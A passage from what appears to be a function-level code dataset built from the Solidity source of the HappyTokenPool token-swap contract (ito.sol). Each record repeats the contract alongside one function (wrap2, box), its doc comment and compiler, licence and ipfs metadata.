0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
wrap2
function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; }
/** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 21004, 21348 ] }
12,425
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
box
function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } }
/** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 21640, 21923 ] }
12,426
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > 